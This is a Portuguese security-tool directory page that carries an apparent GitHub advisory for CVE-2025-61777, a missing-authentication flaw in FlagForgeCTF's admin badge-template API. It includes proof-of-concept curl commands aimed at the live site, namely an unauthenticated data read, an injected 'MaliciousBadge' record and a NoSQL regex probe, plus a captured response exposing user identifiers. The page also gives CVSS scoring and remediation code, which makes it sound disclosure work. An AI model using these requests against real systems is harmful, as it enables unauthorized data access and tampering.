Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/0x0w1z/cve-2025-61777
Análise de VulnerabilidadesExploraçãoSegurança WebTestes de PenetraçãoSegurança de API
GitHub0x0w1z/cve-2025-61777

CVE-2025-61777

CVE no FlagForgeCTF nas versões v2.0.0 a v2.3.1. Atualizado para a versão 2.3.2 para corrigir o problema.

Ver Repositório
27há 11 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-61777

1. Modificação não autorizada de modelos de emblemas no FlagforgeCTF CVE-2025-61777

Resumo

A aplicação Flagforge (https://flagforge.xyz) expõe vulnerabilidades críticas em seus endpoints de API administrativa, especificamente /api/admin/badge-templates (GET) e /api/admin/badge-templates/create (POST). Ambos os endpoints carecem de controles de autenticação e autorização, permitindo que usuários não autenticados recuperem dados sensíveis de modelos de emblemas e criem modelos arbitrários no banco de dados MongoDB. Isso pode levar à exposição não autorizada de dados, poluição do banco de dados ou abuso do sistema de emblemas (por exemplo, criação de modelos maliciosos ou de spam).

Descrição

Endpoints Afetados

  1. GET /api/admin/badge-templates:
    • Retorna um array JSON de todos os modelos de emblemas armazenados na coleção badgeTemplates do MongoDB.
    • Os campos expostos incluem _id, name, description, icon, color, isActive, createdBy, createdAt, updatedAt e __v.
    • Nenhum cabeçalho de autenticação, chaves de API ou verificações de sessão são necessários, tornando o endpoint publicamente acessível.
    • Exemplo de resposta (via cURL):
root@kitploit:~
    x0w1z   ~  curl -i https://flagforge.xyz/api/admin/badge-templates
HTTP/2 200
access-control-allow-origin: https://flagforge.xyz
age: 0
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
content-type: application/json
date: Sat, 27 Sep 2025 11:17:35 GMT
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()
pragma: no-cache
referrer-policy: no-referrer
server: Vercel
strict-transport-security: max-age=31536000; includeSubDomains; preload
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-content-type-options: nosniff
x-frame-options: DENY
x-matched-path: /api/admin/badge-templates
x-vercel-cache: MISS
x-vercel-id: bom1::iad1::kbnlf-1758971855497-e981648f08c6
x-xss-protection: 1; mode=block
{"success":true,"templates":[{"_id":"68d18c6b3ddde4c2825273a1","name":"Staff","description":"Awarded for behind-the-scenes work that powers the community forward.","icon":"/badges/images/badge-1758563431839-63u7vxws5u.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:50:35.138Z","updatedAt":"2025-09-22T17:50:35.138Z","__v":0},{"_id":"68d18c073ddde4c282527398","name":"Bug Hunter","description":"Awarded for sharp eyes and a hacker’s mindset in finding weaknesses.","icon":"/badges/images/badge-1758563324750-h7zfukwxw7.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:48:55.675Z","updatedAt":"2025-09-22T17:48:55.675Z","__v":0},{"_id":"68ccfd395b3791025b51c200","name":"Security Researcher","description":"Earned by pushing boundaries and digging deeper into security.","icon":"/badges/custom/badge-1758264629375-0y4fdhdxjy5.png","color":"#8B5CF6","isActive":true,"createdBy":"[email protected]","createdAt":"2025-09-19T06:50:33.108Z","updatedAt":"2025-09-19T06:50:33.108Z","__v":0}],"count":3}%
  1. POST /api/admin/badge-templates/create:
    • Permite a criação de novos modelos de emblemas com campos controlados pelo usuário: name, description, icon, color, isActive e createdBy.
    • Verificações mínimas de validação para a presença de name, description e icon, e garante que não exista um name duplicado.
    • Nenhuma verificação de autenticação ou autorização, permitindo que qualquer pessoa insira dados no banco de dados.
    • Exemplo de código (do código-fonte fornecido):
      root@kitploit:~
      const templateDoc = {
        name: name.trim(),
        description: description.trim(),
        icon: icon.trim(),
        color: color || '#8B5CF6',
        isActive: isActive !== undefined ? isActive : true,
        createdAt: new Date(),
        createdBy: createdBy || 'unknown'
      };
      const result = await db.collection('badgeTemplates').insertOne(templateDoc);
      

Fraquezas

  • CWE-200: Exposição de Informações Sensíveis a um Ator Não Autorizado (endpoint GET): Expõe identificadores de usuário (por exemplo, Lagzen Thakuri, [email protected]) e metadados, permitindo reconhecimento ou phishing.
  • CWE-306: Ausência de Autenticação para Função Crítica (ambos os endpoints): Sem controles de acesso nas rotas administrativas.
  • CWE-284: Controle de Acesso Impróprio (ambos os endpoints): Permite recuperação e modificação não autorizada de dados.
  • Potencial Injeção NoSQL: Embora o endpoint POST desestruture explicitamente os campos, o endpoint GET pode ser vulnerável se suportar parâmetros de consulta (por exemplo, ?name[$ne]=test).
  • Risco de Poluição de Logs: O endpoint POST registra name e createdBy controlados pelo usuário, o que pode ser abusado para spam de logs ou injeção.

Pontuação CVSS v3.1

  • Pontuação Base: 9.1 (Crítico)
  • Vetor: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
    • Vetor de Ataque (AV): Rede (endpoints publicamente acessíveis).
    • Complexidade do Ataque (AC): Baixa (nenhuma condição especial necessária).
    • Privilégios Necessários (PR): Nenhum (nenhuma autenticação necessária).
    • Interação do Usuário (UI): Nenhuma (requisições HTTP diretas).
    • Escopo (S): Inalterado (afeta a própria aplicação).
    • Confidencialidade (C): Alta (expõe dados do usuário).
    • Integridade (I): Alta (permite criação arbitrária de dados).
    • Disponibilidade (A): Baixa (potencial DoS via criação em massa de modelos).

Sistemas Afetados

  • Aplicação: Flagforge (https://flagforge.xyz)
  • Componentes:
    • Rotas de API Next.js: /api/admin/badge-templates (GET) e /api/admin/badge-templates/create (POST).
    • Banco de dados MongoDB: coleção badgeTemplates.
  • Hospedagem: Vercel (serverless, inferido do cabeçalho server: Vercel).
  • Versões: Desconhecidas (presume-se Next.js 13+ com base na sintaxe NextRequest/NextResponse).
  • Dependências: Driver MongoDB (via utilitário de conexão personalizado @/utlis/db), Next.js.

Impacto

  • Confidencialidade: Exposição de identificadores de usuário (createdBy) e metadados (createdAt, updatedAt), que podem ser usados para engenharia social ou ataques direcionados.
  • Integridade: Criação não autorizada de modelos de emblemas, potencialmente levando a spam, phishing ou exibição de conteúdo malicioso na aplicação.
  • Disponibilidade: Potencial negação de serviço (DoS) ao inundar o endpoint POST com criações de modelos, consumindo recursos do banco de dados.
  • Explorabilidade: Alta, pois os endpoints são publicamente acessíveis via requisições HTTP simples (por exemplo, cURL, Postman) sem barreiras de autenticação.

Prova de Conceito

  1. Recuperar Dados Sensíveis (GET):

    root@kitploit:~
    curl https://flagforge.xyz/api/admin/badge-templates
    
    • Retorna uma lista JSON de todos os modelos de emblemas, incluindo campos sensíveis como createdBy (por exemplo, [email protected]).
  2. Criar Modelo Não Autorizado (POST) e Remover os Modelos (DELETE):

    root@kitploit:~
    curl -X POST https://flagforge.xyz/api/admin/badge-templates/create \
      -H "Content-Type: application/json" \
      -d '{"name":"MaliciousBadge","description":"Hacked","icon":"evil.svg","createdBy":"attacker"}'
    
    • Cria um novo modelo na coleção badgeTemplates.
    • Remove os modelos de emblemas.
    • Verifique reexecutando a requisição GET para confirmar que o novo modelo aparece.
  3. Potencial Injeção NoSQL (GET, se parâmetros de consulta forem suportados):

    root@kitploit:~
    curl https://flagforge.xyz/api/admin/badge-templates?name[$regex]=.*
    
    • Teste se o endpoint processa operadores MongoDB, o que poderia contornar filtros ou expor dados adicionais.

Recomendações

Correções Imediatas

  1. Implementar Autenticação:
    • Adicionar middleware para verificar a identidade do usuário (por exemplo, JWT, NextAuth.js ou chaves de API) para ambos os endpoints.
      root@kitploit:~
      // Exemplo de middleware para o endpoint POST
      export async function POST(request: NextRequest) {
        const authHeader = request.headers.get('authorization');
        if (!authHeader || !verifyToken(authHeader)) { // Implementar verifyToken
          return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
        }
        // ... código existente ...
      }
      
  2. Restringir o Endpoint GET:
    • Limitar o endpoint GET a administradores autenticados ou retornar dados mínimos (por exemplo, excluir createdBy).
    • Se parâmetros de consulta forem suportados, sanitizar as entradas para prevenir injeção NoSQL.

Referências

  • CWE-200: https://cwe.mitre.org/data/definitions/200.html
  • CWE-306: https://cwe.mitre.org/data/definitions/306.html
  • CWE-284: https://cwe.mitre.org/data/definitions/284.html
  • OWASP API Security Top 10: https://owasp.org/www-project-api-security/
  • Calculadora CVSS v3.1: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator
Baixar ferramenta